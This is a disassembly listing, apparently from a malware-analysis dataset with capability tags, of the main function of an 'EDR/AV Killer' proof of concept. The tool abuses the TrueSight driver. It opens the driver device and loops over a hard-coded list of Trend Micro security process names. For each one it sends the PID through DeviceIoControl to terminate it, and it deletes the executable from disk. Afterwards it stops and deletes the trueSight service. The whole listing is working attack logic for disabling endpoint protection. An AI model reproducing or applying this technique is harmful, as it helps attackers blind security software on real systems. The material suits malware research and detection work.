Function at 0x140002e20
Capabilities:
Delete service
Stop service

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x270]
sub rsp, 0x370
mov rax, qword [0x140042040]
xor rax, rsp
mov qword [rbp + 0x260], rax
xor r12d, r12d
mov esi, r12d
mov dword [rbp + 0x118], r12d
lea rdx, str.Welcome_to_EDR_AV_Killer_using_truesight_driver_
lea rcx, [0x140043700]
call fcn.1400054d0
mov rcx, rax
call fcn.140005790
lea rdx, str.This_is_a_PoC__use_it_at_your_own_risk_
lea rcx, [0x140043700]
call fcn.1400054d0
mov rcx, rax
call fcn.140005790
lea edx, [r12 + 1]
lea rcx, [0x1400027e0]
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
test eax, eax
jne 0x140002ecf
lea rdx, str.____Failed_to_set_CTRLC_handler._Exiting..._n
lea rcx, [0x140043830]
call fcn.1400054d0
mov eax, 1
jmp 0x140003693
movups xmm0, xmmword [str.trueSight]
movups xmmword [rbp + 0x138], xmm0
mov eax, dword [0x14003b9d0]
mov dword [rbp + 0x148], eax
lea rcx, [rbp + 0x138]
call fcn.140002bb0
test eax, eax
je 0x140002ec5
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtQuerySystemInformation
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140044e28], rax
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 3]
lea rcx, str..TrueSight
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r15, rax
cmp rax, 0xffffffffffffffff
jne 0x140002f76
lea rdx, str.____CreateFileA_failed
lea rcx, [0x140043700]
call fcn.1400054d0
mov rcx, rax
call fcn.140005790
lea eax, [r15 + 2]
jmp 0x140003693
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x120], xmm0
mov qword [rbp + 0x130], rax
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x60], xmm1
lea r8d, [rax + 0xb]
lea rdx, str.TMBMSRV.exe
lea rcx, [rsp + 0x50]
call fcn.140005b00
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x80], xmm1
mov r8d, 0xa
lea rdx, str.TMCCSF.exe
lea rcx, [rsp + 0x70]
call fcn.140005b00
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x60], xmm1
mov r8d, 0xc
lea rdx, str.TMListen.exe
lea rcx, [rbp - 0x70]
call fcn.140005b00
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x40], xmm1
mov r8d, 0xc
lea rdx, str.PccNTMon.exe
lea rcx, [rbp - 0x50]
call fcn.140005b00
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x20], xmm1
mov r8d, 0xe
lea rdx, str.tmssclient.exe
lea rcx, [rbp - 0x30]
call fcn.140005b00
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp], xmm1
mov r8d, 0xc
lea rdx, str.iVPAgent.exe
lea rcx, [rbp - 0x10]
call fcn.140005b00
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x20], xmm1
mov r8d, 0xc
lea rdx, str.TmWSCSvc.exe
lea rcx, [rbp + 0x10]
call fcn.140005b00
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x40], xmm1
mov r8d, 0xc
lea rdx, str.ntrtscan.exe
lea rcx, [rbp + 0x30]
call fcn.140005b00
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x60], xmm1
mov r8d, 0x12
lea rdx, str.svcGenericHost.exe
lea rcx, [rbp + 0x50]
call fcn.140005b00
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x80], xmm1
mov r8d, 0xd
lea rdx, str.logWriter.exe
lea rcx, [rbp + 0x70]
call fcn.140005b00
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xa0], xmm1
mov r8d, 0x13
lea rdx, str.HostedTelemetry.exe
lea rcx, [rbp + 0x90]
call fcn.140005b00
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xc0], xmm1
mov r8d, 0xf
lea rdx, str.HostedAgent.exe
lea rcx, [rbp + 0xb0]
call fcn.140005b00
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xe0], xmm1
mov r8d, 0x10
lea rdx, str.TMCPMAdapter.exe
lea rcx, [rbp + 0xd0]
call fcn.140005b00
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x120], xmm0
mov qword [rbp + 0x130], r12
mov ecx, 0x1a0
call fcn.14000c358
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], rax
lea rcx, [rax + 0x1a0]
mov qword [rbp + 0x130], rcx
lea rcx, [rbp + 0x120]
mov qword [rsp + 0x40], rcx
lea r9, [rbp + 0x120]
mov r8, rax
lea rdx, [rbp + 0xf0]
lea rcx, [rsp + 0x50]
call fcn.140007d90
mov qword [rbp + 0x128], rax
lea r9, [0x140003ab0]
mov edx, 0x20
lea r8d, [rdx - 0x13]
lea rcx, [rsp + 0x50]
call fcn.14000c394
mov dword [rbp + 0x118], r12d
mov ecx, 0x2bc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x140042c80]
test eax, eax
je 0x14000354a
nop word [rax + rax]
mov rdi, qword [rbp + 0x120]
mov r14, qword [rbp + 0x128]
cmp rdi, r14
je 0x140003531
nop word [rax + rax]
mov rcx, rdi
cmp qword [rdi + 0x18], 7
jbe 0x14000326d
mov rcx, qword [rdi]
call fcn.140002820
mov dword [rbp + 0xf0], eax
test eax, eax
jne 0x1400032c4
lea rdx, str.____Process_name:
lea rcx, [0x140043700]
call fcn.1400054d0
mov rdx, rdi
cmp qword [rdi + 0x18], 7
jbe 0x14000329c
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rax
call fcn.140007830
lea rdx, str._not_running
mov rcx, rax
call fcn.1400054d0
mov rcx, rax
call fcn.140005790
jmp 0x140003524
mov r8d, eax
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140003305
mov r9d, 0x104
lea r8, [rbp + 0x150]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32GetModuleFileNameExA]
mov rcx, rbx
test eax, eax
jne 0x1400033ae
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
movups xmmword [rbp + 0xf8], xmm0
mov byte [rbp + 0xf8], 0
mov qword [rbp + 0x110], 0xf
mov qword [rbp + 0x108], r12
or esi, 1
lea rdx, str.___Terminating_PID:
lea rcx, [0x140043700]
call fcn.1400054d0
mov rcx, rax
mov edx, dword [rbp + 0xf0]
call fcn.140003740
mov rcx, rax
call fcn.140005790
mov qword [rsp + 0x38], r12
lea rax, [rbp + 0x118]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
mov r9d, 4
lea r8, [rbp + 0xf0]
mov edx, 0x22e044
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x140003402
lea rdx, str.____DevicesIoControl_failed
lea rcx, [0x140043700]
call fcn.1400054d0
mov rcx, rax
call fcn.140005790
jmp 0x1400034e3
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
movups xmmword [rbp + 0xf8], xmm0
mov qword [rbp + 0x108], r12
mov qword [rbp + 0x110], r12
lea rax, [rbp + 0x150]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400033e0
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0xf8]
call fcn.140005c30
jmp 0x140003328
cmp qword [rbp + 0x108], 0
je 0x1400034e3
lea rdx, str.____Delete
call fcn.140005820
lea rdx, [rbp + 0xf8]
cmp qword [rbp + 0x110], 0xf
cmova rdx, qword [rbp + 0xf8]
mov r8, qword [rbp + 0x108]
mov rcx, rax
call fcn.140007ae0
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140007440
movzx edx, al
mov rcx, rbx
call fcn.140007290
mov rcx, rbx
call fcn.140005240
lea rcx, [rbp + 0xf8]
cmp qword [rbp + 0x110], 0xf
cmova rcx, qword [rbp + 0xf8]
call fcn.140012f10
test eax, eax
je 0x1400034e3
lea rdx, str.____Fail_to_delete
call fcn.140005820
lea rdx, [rbp + 0xf8]
cmp qword [rbp + 0x110], 0xf
cmova rdx, qword [rbp + 0xf8]
mov r8, qword [rbp + 0x108]
mov rcx, rax
call fcn.140007ae0
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140007440
movzx edx, al
mov rcx, rbx
call fcn.140007290
mov rcx, rbx
call fcn.140005240
nop
mov rdx, qword [rbp + 0x110]
cmp rdx, 0xf
jbe 0x140003524
inc rdx
mov rcx, qword [rbp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000351f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400036c9
call fcn.14000c350
add rdi, 0x20
cmp rdi, r14
jne 0x140003260
mov ecx, 0x2bc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x140042c80]
test eax, eax
jne 0x140003240
lea rdx, str.____Stoping_and_Deleting_trueSight_Service_
lea rcx, [0x140043700]
call fcn.1400054d0
mov rcx, rax
call fcn.140005790
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rdi, rax
test rax, rax
jne 0x14000359d
lea rdx, str.____OpenSCManager_failed
lea rcx, [0x140043700]
call fcn.1400054d0
mov rcx, rax
call fcn.140005790
jmp 0x140003634
mov r8d, 0xf01ff
lea rdx, [rbp + 0x138]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rbx, rax
test rax, rax
jne 0x1400035d8
lea rdx, str.____OpenService_failed
lea rcx, [0x140043700]
call fcn.1400054d0
mov rcx, rax
call fcn.140005790
jmp 0x14000362b
lea r8, [rbp + 0xf8]
mov edx, 1
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x1400035fa
lea rdx, str.____ControlService_failed
jmp 0x14000360e
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x140003622
lea rdx, str.____DeleteService_failed
lea rcx, [0x140043700]
call fcn.1400054d0
mov rcx, rax
call fcn.140005790
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rbp + 0x120]
test rcx, rcx
je 0x140003691
mov rdx, qword [rbp + 0x128]
call fcn.140006580
mov rdx, qword [rbp + 0x130]
mov rcx, qword [rbp + 0x120]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000368c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400036c3
call fcn.14000c350
xor eax, eax
mov rcx, qword [rbp + 0x260]
xor rcx, rsp
call fcn.14000c330
lea r11, [rsp + 0x370]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.1400159c4
nop
call fcn.1400159c4
nop
int3